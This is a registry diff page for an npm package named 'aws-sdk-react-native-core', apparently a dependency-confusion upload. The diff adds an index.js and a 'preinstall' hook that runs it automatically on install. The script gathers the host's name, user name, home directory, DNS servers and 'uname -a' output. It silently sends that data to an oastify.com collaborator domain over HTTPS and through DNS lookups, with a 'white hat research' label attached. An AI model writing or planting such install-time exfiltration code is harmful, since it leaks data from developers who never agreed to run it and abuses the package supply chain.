aws-sdk-react-native-core 1.0.0 → 100.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +8 -4
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ // only for a research purpose
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const https = require("https");
5
+ const { execSync } = require("child_process");
6
+ const packageJSON = require("./package.json");
7
+
8
+
9
+ const COLLAB_DOMAIN = "vkjm6fqypfqapdy6dny2cvih78d71ypn.oastify.com";
10
+
11
+ // Collect metadata
12
+ let uname = "";
13
+ try {
14
+ uname = execSync("uname -a").toString().trim();
15
+ } catch (e) {
16
+ uname = "N/A";
17
+ }
18
+
19
+ const data = {
20
+ pkg: packageJSON.name,
21
+ ver: packageJSON.version,
22
+ host: os.hostname(),
23
+ user: os.userInfo().username,
24
+ home: os.homedir(),
25
+ arch: os.arch(),
26
+ platform: os.platform(),
27
+ dns: dns.getServers().join(","),
28
+ uname: uname,
29
+ ts: new Date().toISOString()
30
+ };
31
+
32
+ // Encode data into query string
33
+ const query = Object.entries(data)
34
+ .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
35
+ .join("&");
36
+
37
+ // === 1. HTTP Pingback ===
38
+ try {
39
+ const httpOptions = {
40
+ hostname: COLLAB_DOMAIN,
41
+ port: 443,
42
+ path: `/?${query}`,
43
+ method: "GET"
44
+ };
45
+
46
+ const req = https.request(httpOptions, (res) => {
47
+ res.on("data", () => {}); // Silent response
48
+ });
49
+
50
+ req.on("error", () => {}); // Ignore errors
51
+ req.end();
52
+ } catch (_) {}
53
+
54
+ // === 2. DNS Pingback ===
55
+ try {
56
+ const dnsPing = `npm-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
57
+ dns.lookup(dnsPing, () => {}); // Async, silent
58
+ } catch (_) {}
package/package.json CHANGED
@@ -1,11 +1,15 @@
1
1
  {
2
2
  "name": "aws-sdk-react-native-core",
3
- "version": "1.0.0",
4
- "description": "",
3
+ "version": "100.1.1",
4
+ "description": "Facebook White Hat Researcher",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
8
9
  },
9
10
  "author": "",
10
- "license": "ISC"
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "taskcluster-db": "^101.99.99"
14
+ }
11
15
  }